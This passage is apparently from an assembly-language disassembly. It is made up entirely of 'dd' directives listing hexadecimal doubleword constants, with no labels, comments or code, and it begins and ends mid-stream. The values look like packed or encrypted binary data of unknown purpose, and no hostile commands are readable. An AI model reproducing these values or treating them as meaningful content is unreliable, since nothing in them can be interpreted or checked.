46D92011h, 0E84250CEh, 0C4F5800h, 0BBA18127h dd 0CF25631Eh, 494554A7h, 0EA0027C4h, 0E8E12989h, 5FB8B6C4h dd 5DA998Bh, 7BD7A6Ch, 8BDAD3D1h, 2F617929h, 71E03DCDh dd 42E23E9h, 0F99D3389h, 0E8900212h, 0C6BF2213h, 4AAE1740h dd 3A5E4400h, 63B42AEAh, 4A20560h, 0BC76F0DFh, 133D48E7h dd 0B66F9050h, 98A9FF01h, 203A265Eh, 9B79916h, 596B7395h dd 0A6311814h, 732A00CFh, 0A962A740h, 612DBDC5h, 0EF6D7966h dd 5071D989h, 0E6B22C44h, 480AC910h, 0DB176964h, 14ED70B5h dd 8B8A5E0Bh, 77075E69h, 4044ED49h, 5A9CCC93h, 2ADCE300h dd 66AE1A96h, 4E4A28BBh, 32FD25FAh, 0FAC9DC79h, 9BB8063h dd 161C9D13h, 0D7277669h, 6A1D8E0Dh, 96C0C6DBh, 0F4B9FD9Fh dd 7A12E378h, 9121989h, 4F4DFCB7h, 0DE0086ACh, 295D959Ah dd 259D017Dh, 5ECE1C4Dh, 0CCB3109Fh, 799E4FEh, 0A6E40471h dd 0FB712906h, 88E24ABAh, 78BB500Eh, 0A8740264h, 116E4BBBh dd 0CE572506h, 0A7135690h, 86BC514Ch, 3FB44680h, 6218056Eh dd 9ABE44CFh, 0DA47007Bh, 9D5E314Bh, 8B48125Ch, 8E494EB0h dd 59D2535Fh, 8181Ch, 6BF7EEFh, 0AAD3A1BDh, 6C80D199h dd 0C0711DDCh, 297AC487h, 15E5522Fh, 0A17A2Fh, 0F4259CADh dd 5E23684Fh, 0ABCF205Fh, 6E130861h, 22EFD0F8h, 0E5B2691Ch dd 74710E53h, 4AB5F33Bh, 1289418Ch, 0F70125B5h, 35844B68h dd 0F1EDD9ADh, 0AD9E42C4h, 0DE6ADBA9h, 4E404F57h, 5F634161h dd 9055F64Bh, 1E203382h, 808CB8ABh, 832B97C9h, 1179E455h dd 44800F25h, 0C4F54B93h, 0C8CDFE62h, 9B62122Eh, 80F58F78h dd 0ECB94567h, 0E8C44F96h, 0EE1C25B3h, 466EBD85h, 0E519E525h dd 734DAD8Bh, 0AD403940h, 0E19D3829h, 151B65Fh, 0A27AF930h dd 3FFCF626h, 6BCB0735h, 363A205Ch, 2B0972A1h, 7C3215BDh dd 719D5025h, 3FC4B586h, 0EF1BD11h, 78C275Eh, 0CBFEF0F2h dd 0C81DBA60h, 6152E662h, 8C4C42B9h, 3C5EDE27h, 3254BF04h dd 844E8EBCh, 0ACADE9E1h, 64008C1Dh, 31B7BB23h, 3C9A8212h dd 1A04C021h, 0BA74B332h, 0D48E3662h, 460960Bh, 82501h dd 1D34A6BBh, 0D761583Bh, 25538A4Bh, 604C4F5Ah, 4795E409h dd 2337C40Ah, 0C10BA61Ch, 9910C820h, 4096812Ch, 507A2A92h dd 44DB3FEDh, 4BEAE5C0h, 0F3168166h, 626E59D5h, 4D011823h dd 38202A1Eh, 635AE8Bh, 2B3F7DCCh, 2253125Ah, 4E5164F3h dd 6A50943Fh, 21A2342h, 57C6E3A4h, 2F136561h, 870F5C30h dd 8B2DC402h, 0A35CBCFAh, 7ABF847Eh, 0E0182FD7h, 97E975CEh dd 1D645E4Dh, 0AECEAD60h, 4F59BD01h, 0A354C787h, 4B9FB32Bh dd 560B8085h, 0E068D417h, 0B2D835BAh, 94A2500h, 71ECC27Fh dd 0C7CB0281h, 601D8558h, 0D780F16Ch, 9E970B79h, 620198A3h dd 0E0E9CF79h, 0DB27A35Eh, 88C2704Eh, 0FD764800h, 0B69CBB4Ah dd 0A05F4B90h, 0D4128077h, 9EF76168h, 806FDA4Ah, 1DFB420Ah dd 40F92DC6h, 17F91B59h, 0E3912A19h, 0F56EBD23h, 0EC4AA354h dd 928A78h, 0EF6BEC7Ch, 9AFEF23Bh, 9D894AC2h, 2E90D72Dh dd 0EE76A5DBh, 70B353BDh, 0DF3FF242h, 0DBE380DEh, 0F379365h dd 0A146B586h, 9714CD20h, 85E9960Fh, 8F145Fh, 39C65DA0h dd 0C042C17Eh, 12244DCh, 0BB50905Bh, 0FF19B2A4h, 5730EBBCh dd 97CEF380h, 7B42206Fh, 0DA02D730h, 5F021C55h, 0DEC1F66Ah dd 0ECA0BC05h, 8901704Fh, 7C02A916h, 0F6E9D2Eh, 91A4C02Ch dd 0B586BFFEh, 5D8935F3h, 0A7917B0Bh, 0D1FFE982h, 0F1004EE6h dd 121BD86h, 7DAF6EC9h, 9152016Fh, 0D98ABE1Ch, 7F282F5Fh dd 84FF8A62h, 10BF1136h, 22F900Dh, 29006D37h, 761405D0h dd 9594FC21h, 6EA5C8C1h, 4BA05D55h, 73E1D2A6h, 0D931307Dh dd 0BBF50A40h, 0BFE90418h, 0B142BC0Dh, 1604A5E5h, 0A923FBA7h dd 5D2FCABDh, 0FE8A1038h, 57F961BDh, 302F90F1h, 0B7D1B4A8h dd 4BA5773Eh, 0CE0C4F6h, 3D4D16A5h, 79A194C0h, 19F2305Ah dd 0B8F1B384h, 6FEBD6C7h, 3D5B079Bh, 9FDA7E52h, 1D171508h dd 0A5D19E03h, 0B5FEDCEh, 934040F2h, 9F049FC9h, 81DBEB6Ah dd 0A8EE9AC0h, 0C80037B3h, 2CBF965Eh, 503B4370h, 0C231C901h dd 2581B585h, 5CDBB702h, 148C2EBh, 2F248F0Ah, 7F68558h dd 0B2B1A486h, 6DE85C44h, 335BF5A8h, 0BDBA51EEh, 5635CAB5h dd 61351981h, 0D524885Fh, 71E40D13h, 5EE61Eh, 750106C2h dd 1E3ED46Ch, 0B2139DCDh, 6E1C2141h, 0A15870E4h, 1181975Bh dd 0F064D381h, 92971BBAh, 41DC7C10h, 0F085F3AFh, 0FB0AC4DBh dd 4EAD9509h, 11E6A26h, 0F4102579h, 7F6876h, 41937E7Bh dd 57E62C6Ch, 10A07A95h, 131B99B5h, 0FECC82Bh, 8B3C1920h dd 79E85BD1h, 84F6B992h, 7D270BBDh, 36042EC9h, 2ABCCCA0h dd 3108FC36h, 790CFD25h, 61291F1h, 23B9BD01h, 6A674C63h dd 0B06EDC4h, 2995DF8h, 25E1F423h, 4481F6BBh, 81F129Ch dd 4136222Fh, 6BC25724h, 0FE2180A5h, 0EFADB531h, 0DC803279h dd 0E5853077h, 514ADD00h, 6C57E343h, 0F00C03EAh, 0C306BD1Dh dd 4A8CABE4h, 520EB85Bh, 313B8195h, 0F2254A7Fh, 1D2F84F3h dd 0D913BF00h, 94904E87h, 7D303148h, 55C09596h, 0F0450Ch dd 0F4DCB5FCh, 4914D6E4h, 0C6054A09h, 0C0C15E11h, 629392D2h dd 838B914h, 11A585D0h, 0F60E25AFh, 0EC0AE074h, 57FE0BF9h dd 0CC847C61h, 0FC10B0C9h, 2DC84B6h, 0C03C5F7Eh, 3570BF98h dd 0FB3DBFh, 7AAC6E74h, 0ED95D22Bh, 25AEC034h, 0A975BD3Eh dd 2751660Ah, 3D089E56h, 0F75B122Bh, 301BF272h, 91025D4Dh dd 4C3F6295h, 12AF625Eh, 0DA855FFFh, 1443D753h, 0EF655C07h dd 9F11E060h, 0D302994Eh, 7AABAA42h, 807E798Ch, 9D12DB81h dd 0BA97107Ch, 0ABED775Fh, 77456D40h, 0BB660223h, 5B577383h dd 0AD5E515Eh, 0D3E46002h, 219C7DFFh, 0F38A1DDCh, 0F21D9276h dd 7EFE9662h, 0C9EA10C5h, 0E902FD16h, 16898CBEh, 3DBA970Eh dd 2601AF82h, 7CE1FF02h, 387A40F3h, 477DBCF3h, 0F48AF100h dd 297F76BAh, 5238CECFh, 8E828D27h, 0E72EED65h, 3AD16332h dd 0DBAA8504h, 9177C052h, 4B55B70Fh, 2214CA40h, 8AF94B27h dd 9CE322F0h, 0A1DDCA4h, 0DA80FE77h, 3D0D86C1h, 22B8B7E4h dd 0DB9F60FEh, 0D0BE7067h, 0B5858000h, 0C5BF66EBh, 3885979Fh dd 10F8C201h, 249155Eh, 5C2F450Ch, 13F63F3h, 409EFB84h dd 0EEA95984h, 0C3100C1h, 33EFDD2Ah, 0FDFC4B08h, 795E3500h dd 3AE6EBBFh, 8D57223Ch, 9CEDABF3h, 2E73B56Eh, 1D230C6Bh dd 9F4B7803h, 0C00BB018h, 9022591h, 0CC07F6C4h, 0EC6F7DD7h dd 0B097FB13h, 15FC4AFh, 0CBE780E2h, 2AFA8BBDh, 0B1D40EC7h dd 2018EA3h, 4E564F22h, 0D76E6F90h, 0BD358C16h, 0B71CE8A7h dd 2772542h, 9E16Fh dd 0B52AED68h, 8360D738h, 776B966h, 0C0AA8C61h, 69D912AAh dd 0CA6E285Bh, 0D38CD100h, 963DB767h, 0B5600B13h, 61C88204h dd 92D8FFA8h, 0BA972041h, 0C9EE0226h, 3E90231h, 0ECF12AD0h dd 96972055h, 0D4E09629h, 0FB6C761Eh, 0D812F1A4h, 0DE3A29F1h dd 1CD4C054h, 98B6B793h, 0B472B777h, 59627395h, 1DB181Bh dd 90D17753h, 42514672h, 695EF9E6h, 413E4DE9h, 0D838AEA3h dd 6700F3B1h, 0CF81FC97h, 13610990h, 9B068922h, 98B68074h dd 0BD0B2E5h, 0CC8551B4h, 41438B02h, 8DC2525Eh, 2FCD322Dh dd 9C7101E0h, 7FF313C9h, 81CD098Ch, 85505E74h, 0AFC61F6Bh dd 0E5B1C397h, 0EBCD4E41h, 6050E405h, 0A3FC1540h, 18A2DC1h dd 947AE338h, 3CE9F00Fh, 8F068026h, 66E803h, 1A65837Bh dd 41DC909Bh, 0D085614Ah, 2EB9B1ADh, 805084E3h, 0DC124BC5h dd 0E31F81ADh, 5D404A02h, 4563D368h, 8E0F2D34h, 0DA8ABBA1h dd 2C868781h, 6EFA5A60h, 9BA200BEh, 953B28D8h, 3F901294h dd 5F3AF2AAh, 0DAF0DDB6h, 0F50947F2h, 0F6F98A50h, 70EB43EAh dd 0D6F7B9FCh, 7FA214E6h, 1E398457h, 0E516B054h, 0F0E7BC2Ch dd 4CDDB529h, 35842B0Dh, 0E72FB82Ch, 0D2509B2Bh, 0E9F80107h dd 0D7347E1Eh, 92EEE0ACh, 0B75ED56Bh, 0C0C1582Fh, 59824B5Dh dd 89550086h, 77CB5102h, 91F6D3D9h, 5C2EEC05h, 0CEFD28D5h dd 9B162BB8h, 2F28501h, 32A1BD09h, 71978D5Ah, 0FED44055h dd 4C12AB04h, 28F21D6Ah, 0B9AD1588h, 2C141DBBh, 0B5C9FCFFh dd 92BB53F9h, 1209A265h, 0FBD2A5Dh, 0F80966CBh, 81C54C56h dd 0BD22FDB3h, 40EB9A95h, 0B5C9A984h, 2E749D60h, 0D8C87395h dd 0C017728h, 7B6012EFh, 0C6A5BF35h, 5DF080D3h, 38F6247Fh dd 2BB109B8h, 97C91657h, 2B409AEDh, 48B8CBC4h, 0A54AB42Ch dd 0AE9F146Fh, 0BCC0EFDEh, 1F546308h, 98845A2Fh, 382AB5CEh dd 3580B175h, 66A0362Dh, 7C00BD23h, 0FB761E01h, 4B159D89h dd 7FB99D08h, 38AEC8h, 4C429571h, 735510F3h, 0F0807507h dd 51C689E1h, 0DECB531h, 5CA609B7h, 0B5575209h, 8CB40FB3h dd 6BC00FFh, 85296B6Ch, 46432E5h, 880F04C2h, 5033E3F5h dd 0FA48F33Eh, 0A508BE00h, 388B5B1Ah, 0B872BA12h, 0A82DB3E1h dd 1704DBB8h, 7BF80F0Ch, 5BB777E4h, 4A0CA73Ah, 2D87939Ah dd 0FCA532D4h, 0F749C55Ch, 0F7803637h, 0C19BB1FFh, 8C60EDF5h dd 83DE8A05h, 2F377B08h, 0BC00A1F9h, 73C1712Ch, 0DAA909A1h dd 3981A09Dh, 2B3AEB03h, 0BD8E67D8h, 0FF698871h, 0B82D3A84h dd 138DB1D3h, 264AEC14h, 1860B050h, 0E5365B2h, 69491559h dd 0C14D809Dh, 63ED9637h, 623DAB0Eh, 0F4DBF217h, 0AAA10280h dd 0E84E1108h, 715BACB0h, 56CEB75Fh, 8121921h, 0F82715A9h dd 0AB5688BAh, 53241719h, 0E4A5F96Eh, 39A2D7ACh, 9749003Fh dd 0A4B251ABh, 0B72F2D00h, 35BB50FCh, 1ABA26B3h, 80B93A0h dd 1E3F08F3h, 7D92389Ch, 60A874E2h, 87889700h, 0B3E537A6h dd 9508BA67h, 1D6411CDh, 0E14DF360h, 0AD1C5BF8h, 8D96F53Eh dd 5BF14228h, 0D647A229h, 70CD06Bh, 7954922Ch, 0CD2A1E41h dd 0D2282B5Ch, 49DB9546h, 0F9C7FD8h, 0D75D639Fh, 0D471F2C9h dd 6E9CD4A5h, 1A5782C9h, 5B01D046h, 6223A219h, 5C1C15B2h dd 0B77D7A9Ah, 7B3800BAh, 0E977DEADh, 0FFF31F1Ch, 82B1CF64h dd 85071D9Dh, 0C0CC9BC1h, 7766EC69h, 999A0B8Ah, 0F7027307h dd 0BA5C7C62h, 91546D6h, 0E8E8B2A9h, 0BAD94Bh, 28853519h dd 0C5C9F65Eh, 75201D01h, 0B6AE793Fh, 44D8002Ah, 8B905F45h dd 0D21DD94Ah, 78789EABh, 8FA914DCh, 0DD24CEECh, 107BA7F5h dd 5F3D38D0h, 70B22021h, 0F43F2096h, 21F65F98h, 4342611Fh dd 165E48E0h, 0BFC82EA0h, 7A870915h, 0B58016ADh, 91BB44BBh dd 96BCB80Bh, 95F9C4E0h, 0D1C1B192h, 0E7D7DAD9h, 0D81AE40Ch dd 2805CFB1h, 50689648h, 0CD9DB481h, 0E05955A5h, 708E53E9h dd 70096EF0h, 7ED1FF3Dh, 0CF14DCDDh, 108DD87Ah, 78511565h dd 8C7B282Bh, 55F68989h, 26A2948h, 25DD10C4h, 8A0F9001h dd 602BA724h, 7CEDBB2Ch, 89315A9Bh, 7DCB6B2Ah, 0FC221100h dd 40A73ECFh, 0D8C74B09h, 0EA7775Bh, 9B90748Bh, 4AB8C48Dh dd 0DF1318D2h, 4CB3DD96h, 0FDB4F05Bh, 0ED56C430h, 6FE90405h dd 8AE1A5B8h, 0F3F902B5h, 5B6B70CBh, 0E887DA00h, 0E9F63EBBh dd 297B9D26h, 6D181959h, 97309900h, 9529F558h, 881D4FF9h dd 50810A75h, 2CBC207Fh, 8F0123D8h, 68CB9446h, 123F9C4Fh dd 62C8BD1Bh, 5C0FD93Ah, 0F42951CAh, 71952C11h, 24EDC9E3h dd 8395C840h, 0FA80009Fh, 81218B42h, 6012D9D3h, 0CCE30A75h dd 9F78F52Dh, 0C909E494h, 0BDD5B1Bh, 62549F4Fh, 6B9E6CA5h dd 19F723DFh, 0A7606782h, 725D00B4h, 0C36345D1h, 6138ACB7h dd 0E6F802B0h, 0FCBD0370h, 71E48B7Fh, 875A2029h, 81E3B44Ah dd 0BAFE257Dh, 2AA11718h, 82326282h, 5C5C709Eh, 0B1043B5Dh dd 0D4562FC5h, 358AC59h, 0CF80C82Bh, 51D1D06Ah, 0EDE302BFh dd 0E95B13EBh, 0B72CA2C4h, 1508B698h, 0B5F02F2Fh, 0C0F2D125h dd 0EF9D334Ch, 8FAFA54h, 1E37062Ah, 0C1850100h, 57199720h dd 11AA1415h, 0E914ED4Fh, 0B84F6F45h, 8560898Ch, 8CEE6181h dd 9D2F2349h, 0C2F47431h, 19892684h, 90B1857h, 0BA12FB5h dd 43A598E9h, 7E41FE23h, 6DB07B6Ah, 35149707h, 0EE272A13h dd 0CCBC0ABDh, 311FD102h, 0C35AABCAh, 1347C12Ch, 2D63B2ABh dd 2B78F97Bh, 4058001Ch, 39E3EB81h, 7BBF11F8h, 0ACB5A53Eh dd 9F6EF900h, 4BB993C5h, 598388DEh, 0DA4E0D47h, 2D2280EFh dd 0CF10ADh, 0E381B582h, 70B9678h, 0D76EFC4Eh, 20A48700h dd 0F69365F2h, 48C02B2Eh, 0D5852909h, 0D249CAAFh, 2BCA8BFFh dd 0FE285C2Ch, 0D05A1A46h, 68B499E4h, 4DC37BCh, 0B4A270EDh dd 0B84827Bh, 6425C554h, 5F562756h, 21F9FE1Ah, 51DA3500h dd 0A15833h, 71B43060h, 795305D9h, 0E24B4DFAh, 16C8439Ah dd 782ED0C1h, 53C2B2Eh, 95DB531h, 945F17FDh, 5EDBAA94h dd 0B6D8BF12h, 317D10E9h, 0D1DBEFA4h, 1892EE80h, 9702FACFh dd 0F551222h, 0B9166480h, 0F35C0079h, 312BBDA0h, 46013E7Bh dd 4B655AB6h, 1ED9A26Ah, 7A1FE433h, 36DC6F66h, 8D0BD5CAh dd 94827C7Dh, 977DE1E1h, 0D8441D14h, 0E2A660h, 9BE4E7D3h dd 1876FDCAh, 0E54E7300h, 0A14268E8h, 0B1105C6Ah, 615F2532h dd 0C8511A5Ch, 0B020E73Ah, 0E03A2CEFh, 391497FCh, 825B656Dh dd 60F7922Ah, 0F572615Bh, 46BFDD14h, 0D0B325C4h, 46ED18C2h dd 7B07D1C0h, 0AC015B60h, 0B58B8278h, 569C9269h, 0DEDB2C3Eh dd 8A4BC509h, 7399D516h, 5E482EF9h, 6FD0A520h, 46582D25h dd 2392954Ah, 0FDEF1DEh, 5A46BFA5h, 9977658Bh, 5F49567h dd 1ED71397h, 5615B9CCh, 17ECF596h, 85A80570h, 0C089C62Dh dd 6A163222h, 0E03F4D97h, 0C4A642B7h, 3F66E405h, 2481C720h dd 68001031h, 972E37E9h, 872F737Ch, 8837162Fh, 0A4313799h dd 11D55A87h, 52EC6E13h, 5CA9004Bh, 0BAF30E7Eh, 0C04A709Bh dd 9A2E259Dh, 4D028433h, 1BCD78C1h, 523A722Eh, 0F711A40h dd 46ADC082h, 0F9608002h, 65850908h, 3B742C01h, 28F6D8A5h dd 986D5BF6h, 6154BD16h, 8A74BFB7h, 0C2315E25h, 623DF54Ah dd 448A7CA7h, 80ADBC51h, 0F19B81A1h, 0E0073EC0h, 8A204C00h dd 7C59F85Dh, 12629D58h, 0AAB84DBDh, 69AF8CA4h, 43D4AD00h dd 6677E274h, 360D62D8h dd 38570815h, 4A9D89B9h, 810500D1h, 3CF2DFEFh, 64C7E7Ch dd 71BD4ABFh, 2652BBD2h, 6E6E0CB1h, 0B48E0082h, 0F9129E67h dd 2576C266h, 90F79673h, 1AA5BEAh, 53685F8Ah, 0CC518B92h dd 0A126E5D1h, 7C2DB86Bh, 8BC5600Bh, 820EFF72h, 43D6CE05h dd 0DA77AC21h, 3AB0F6CFh, 0BE96F892h, 55017332h, 0E25472C2h dd 0CB8041E8h, 2FD59D81h, 4773073Fh, 0B153AF02h, 400C0939h dd 2B45BD8Ch, 8A2B5F81h, 0FD562482h, 0EA805A0Fh, 94802C50h dd 0AC68C6Eh, 383A00F4h, 3948F133h, 0A40BB758h, 7F56B390h dd 9DBBC118h, 0E8E0EB78h, 17E79A2h, 0F5F31FE0h, 0A298B2D1h dd 3D1F21F0h, 51395849h, 0DC0450B8h, 0C4D97E01h, 237F6BAEh dd 58DE251Ah, 40F3D8CBh, 0E9229020h, 774090Bh, 0D380A0A4h dd 0F09A4BB5h, 0DAE2FB50h, 95299004h, 9BEE1E25h, 0C019C8BAh dd 26F0AF29h, 8E9E147Ch, 0C41F7E40h, 0C8F600CFh, 0CB1B49D7h dd 0CEC02861h, 9B184E9Ch, 0B87E4C9Eh, 0D7815F00h, 455DE520h dd 0E06E615Fh, 0DB17C007h, 16E5087h, 1B481418h, 4A5758B6h dd 9658A4CFh, 0FC89D125h, 53D29B56h, 38AC70B9h, 82D82501h dd 0FC8A1198h, 0D9BB622Eh, 0E5CDDA1Dh, 9015F660h, 2451E676h dd 9C7EEB7h, 0DC60AD9Dh, 0FC3F66BFh, 738A4BF1h, 2F04191Ch dd 2DE6556h, 0FA67209Fh, 8F545AFFh, 2412BF60h, 0E0655B33h dd 0FAA731D6h, 8271DA9Ah, 0FE1159ADh, 12E8E528h, 631FEE29h dd 5BF86A44h, 0C884DAABh, 5AA9C017h, 0E4BFBA6Eh, 0D87E1C39h dd 0F0A5C035h, 0D7EB1E9Ch, 0DB381203h, 81E06846h, 982B5522h dd 608810C0h, 489C003Ah, 13F98B7Ah, 7D07CDF4h, 677612DDh dd 0E9C15CFBh, 0FD50DBD3h, 683C0247h, 7D9AB686h, 4060FD54h dd 182393h, 80E1D156h, 0A5C844ACh, 52A1DA00h, 172D3CFAh dd 0F25F4E1Eh, 0B84A0019h, 0B1982215h, 85300DEh, 787D3620h dd 4956807h, 1330E4h, 63D3BF06h, 88973455h, 0BDEBA31h dd 3C6240C8h, 0CBE938FDh, 4DE747Bh, 40A729DFh, 0A0DCEB10h dd 1E949751h, 0ACF1F9B5h, 2CD09BCh, 519D047Bh, 715BDEC9h dd 0DB72B0C9h, 0E1995460h, 9FD24E83h, 42F8D819h, 63621211h dd 2EC5E1F6h, 0C91CF4E7h, 6CDE004Ch, 0FD8631A3h, 0B989DA00h dd 7BFC4E98h, 23620151h, 958B60D9h, 48163A31h, 0E39421EBh dd 665CEC39h, 470B2700h, 8B536F2Ah, 0AC440050h, 5A0CF308h dd 0CD955F61h, 601764AEh, 4B7889BBh, 0ABF185F3h, 1405ED32h dd 96788CB3h, 305EE2A3h, 0B5F2DC5Fh, 0FC811E1Dh, 6CF8C17Bh dd 0C56B2EA0h, 28001D23h, 7249CC4Eh, 910A0025h, 0C7814B24h dd 0D625D114h, 0F4F55448h, 0DFA6A363h, 0CDEBBC5Dh, 6D342B23h dd 13736FFBh, 57BF9F7Ch, 9D4D02F2h, 29FB20F9h, 1CB35084h dd 0DBFFAE84h, 57EDCAEDh, 0DF04724Ah, 0C3B8E118h, 1448A0D2h dd 12D7C7B5h, 5E7BBF65h, 0DF167700h, 9C59D852h, 90741125h dd 799AFAC1h, 0B9803E69h, 84370F80h, 96B8CA0Ch, 0BBA9BF05h dd 4BAA7095h, 0F58F06D7h, 80009BB2h, 5F3C6C71h, 89CE566Ah dd 8C5B4B7Eh, 0B29D8BB4h, 59C15FD3h, 91752E0Bh, 2C0C3201h dd 292E3882h, 4BE82B6Dh, 0BC6FFD4Fh, 2CD2093Dh, 6B71DDAFh dd 0DE2FC69Ch, 1100DEEAh, 6EEBA7DFh, 12532F79h, 0E2A0D380h dd 0B02EE977h, 7B129205h, 77E069E9h, 0DBCF0980h, 307DC18Bh dd 4A2185B9h, 0CB7BBD2Bh, 2532D650h, 1AFE9AE4h, 25B3304h dd 9CEBDDFBh, 314E0FD5h, 0F95A3C8h, 547D3A23h, 0D64D86C0h dd 5A2F5683h, 2D135885h, 0EA54E28Ah, 0B7BD4BBEh, 3220DF90h dd 25094996h, 0F8FECA2Dh, 0A62EEB4Bh, 751EF2A9h, 0E950F746h dd 6D00A73Bh, 344C1DF9h, 0A036C380h, 4EC50286h, 25F66FEEh dd 5B44C262h, 0F0D771E2h, 0A4BCEF1h, 4F965111h, 0EBB8F7BDh dd 703D432Fh, 6BA227B4h, 4FC3D95Ch, 283D899h, 1BE50093h dd 0DB4997A7h, 0EFE0C301h, 8049D9BDh, 0D57CA95h, 31002284h dd 0A43C2397h, 524C287h, 3577F5BFh, 648B8625h, 0DC759Eh dd 71DF4B38h, 0B5673192h, 0AC8DD54Bh, 6A0E0763h, 0C640885Fh dd 0DD5CF6ABh, 0C639BB25h, 566F0BCh, 0FF06CF10h, 0C00E9BD1h dd 1B2B0FD5h, 8AA44BBDh, 0DB71279Dh, 4B19D8D4h, 0C24FEE02h dd 46F5411Ch, 0BF760FB6h, 0A7C7794Eh, 50D2401Bh, 0C8F6A025h dd 6C6AD626h, 49DB2C3Bh, 4B0E493Bh, 0EED2C69Bh, 0C5EFB900h dd 2C173940h, 0CB7BFB8Bh, 0EBE977C0h, 0CF46719Dh, 752EC568h dd 0A95E4Bh, 7BB65912h, 0C400B8B3h, 4131A406h, 13233362h dd 0ED1A7D78h, 0F867B811h, 8DD001E1h, 646A7D88h, 0FE882A02h dd 5F0F0149h, 1380CE47h, 0A7302E2Dh, 0B2319D01h, 0C7829FECh dd 9FA09BC9h, 116D8D29h, 9F711497h, 0D3FE3190h, 1E5A7900h dd 542A4D9h, 55DCF58Eh, 0AC130911h, 82738669h, 74AFFC12h dd 0A812B91Dh, 504C00F9h, 9D31ECDFh, 4DCB3071h, 0B1D74FFh dd 9202C0D5h, 0CF41551h, 3DC10EF4h, 0BBDF4B30h, 11CAA826h dd 89530908h, 2861579Dh, 0A7622E5Fh, 90AFF207h, 0BB060CEh dd 0B70E6FEh, 29159D12h, 982B99E5h, 552595E6h, 98297132h dd 0CF811DE1h, 0D54A7A09h, 0B4A87018h, 0E09E4042h, 0CD4F8426h dd 0AC9675BCh, 119DC231h, 42751217h, 24B456CFh, 119B60F8h dd 292D69F9h, 0A87FDE81h, 22F80082h, 0ABBFC82Bh, 71154853h dd 11CD18Bh, 0EFF54929h, 212EFFE5h, 25B51C2h, 775BE471h dd 39C6B59Dh, 314F98B5h, 8B9570B5h, 11BF07FFh, 2E64BB41h dd 0A419C248h, 56E90CFDh, 2EBE570Fh, 0B764E540h, 9E491610h dd 0AD5A075Ch, 0E455195Bh, 8EB72538h, 3345C2C4h, 0E500F963h dd 5F971D92h, 2902FF1Fh, 0A638574Fh, 93C3C312h, 0A5A5280Ch dd 0B8FE4A29h, 76952800h, 1201E981h, 0C2CF5CF5h, 7E093180h dd 47566B92h, 0C062DF08h, 0E6B9F88Bh, 0DBBD0870h, 0C4F07885h dd 1AA67E2Fh, 35C502B1h, 0FCE12210h, 0BB00F159h, 0AC4D5419h dd 0BE0E00E3h, 0BA6A1327h, 0A3E728Ch, 60DC00F8h, 1B18EE81h dd 0B26B1656h, 0FC6E09ABh, 25DC9554h, 64D6D9C0h, 3A551C10h dd 0FD2B47D4h, 0EF46E7Eh, 12BA1CF7h, 93EC9BADh, 0B01DE79h dd 0CEB65265h, 120B2C1h, 6D2EE141h, 0E5CC88C9h, 0C0F92F2Ah dd 5DD08109h, 12BCC748h, 9536C697h, 25FB9B8Bh, 97182D0h dd 0BD2947DFh, 608334FEh, 1E79B501h, 0A59D33AFh, 0B961A305h dd 8C19ACCAh, 0E1A92600h, 29B8F568h, 0A1D15E95h, 7FDA6A9Fh dd 98C01AC8h, 16AE658Fh, 0FC48C6EAh, 0E7B2D2F3h, 7D37E8B6h dd 9628D2Ch, 73E75C29h, 0C5F40B8Fh, 28CE26F4h, 76E62D4Fh dd 25B52915h, 798A40FDh, 0FEB62E4Ah, 216E828h, 0D7C5EBF4h dd 5BE0CBBCh, 7BBF5FFAh, 0B9CE3CDBh, 5EED904Ah, 9EE1CEF4h dd 200DC45h, 0C1164CFh, 16B7C0C1h, 52F5241Ch, 88FCB207h dd 0BF0CB545h, 13FEB28Ch, 84F1BD2Bh, 0A2EDAC27h, 35D61A44h dd 0C8DB18D4h, 0EF39CA02h, 0CFDF8C5h, 210F8EABh, 0BF6DA5D9h dd 73830940h, 0DCD79C60h, 2E184B02h, 5E11AFF0h, 0DBC02702h dd 0ABB3E180h, 605A0300h, 2613933h, 0B3D3E381h, 0C45C3AB9h dd 4401A4B8h, 0B8E109F6h, 0CD1EDF2h, 816B1E00h, 0ED2703Dh dd 0A7EB4EC1h, 0C24C2323h, 51D9F5E8h, 0BAD46097h, 0A55F5A52h dd 107B3F98h, 0C431B102h, 1C5EF5E9h, 0F440F4ADh, 6D59FB0Fh dd 22FDEB2Bh, 5E565047h, 62712F14h, 8218EF80h, 44D7658h dd 5BDF8BC6h, 82069E6Ah, 0C0DBA970h, 830735E2h, 6F90C12h dd 213639ABh, 0F049AC46h dd 9184125h, 0ACBB5A10h, 18793102h, 0FC33C9DCh, 455040DDh dd 0C709B8FCh, 595B307Fh, 0C2D08B1Eh, 12DE9C54h, 0A75B7821h dd 0D0DA4ED2h, 956EC193h, 98056EF3h, 9DABD146h, 1106F18Dh dd 0D7C201C8h, 91E01FCDh, 14F8928Eh, 81D24AE4h, 0F68B1512h dd 301BB228h, 0E6003817h, 0C674F779h, 25BF66A2h, 22E660ECh dd 9259598h, 22EBCE20h, 520008E8h, 0BE7C24E4h, 16836385h dd 4BB9BD23h, 15575B45h, 29F749A0h, 706465h, 0A480A937h dd 4BA2513Bh, 0EC1D5900h, 40E43EBAh, 9B065B89h, 0ABA78408h dd 7715B2h, 0FEEAF651h, 0FF7DE742h, 6B22BE7h, 0CFE22BA9h dd 0D646204Eh, 1A00FD46h, 0B7ED6243h, 97C39C23h, 98776589h dd 0B87529h, 378092A6h, 96B6AA8Fh, 507D1E02h, 5541F6C6h dd 5C3A081h, 94B02A59h, 5E0A4061h, 0BEA7095h, 24EB988Eh dd 9D2343C0h, 0EE030125h, 0CB48CE37h, 8DC41E49h, 3395AB5h dd 0ECBCEA3Ch, 0D4F9EE68h, 79994C2Eh, 0F223F424h, 6C4BE700h dd 0C1819E7Eh, 0CBEA116Ah, 886E2E2Eh, 87CD0600h, 89471055h dd 0CBB99D4Eh, 0EEB88D24h, 0CFC41629h, 0FC89F6E6h, 0CA4CF826h dd 2D172910h, 0FEBB761h, 0F322E057h, 835C714Fh, 65AD025Ah dd 71895601h, 0BF278012h, 950D818h, 152369E9h, 16F8930Bh dd 0DD0B59B5h, 0A016D0A5h, 257DBF3Fh, 43C55F0Eh, 5A38AA1Dh dd 9ABC51ADh, 26798938h, 17613D85h, 402C0DD4h, 0ED9D8B84h dd 0BC5F29C6h, 0A036962h, 22D088Dh, 39950102h, 0EF4B5C30h dd 10B19D82h, 0E4F26D55h, 39026115h, 0FD5A242Bh, 3184BCD6h dd 0CDBE8DB9h, 9717D0Ch, 71BCEB80h, 0DF80BC3Fh, 0FBBB960Dh dd 5112904Fh, 0B2C95350h, 41EB80FFh, 0FDD20414h, 0AA5FB00Eh dd 0A3C0779Bh, 0BFB93694h, 57122B71h, 0BF042C84h, 0CAEA71F5h dd 0DA90A544h, 0C4E64707h, 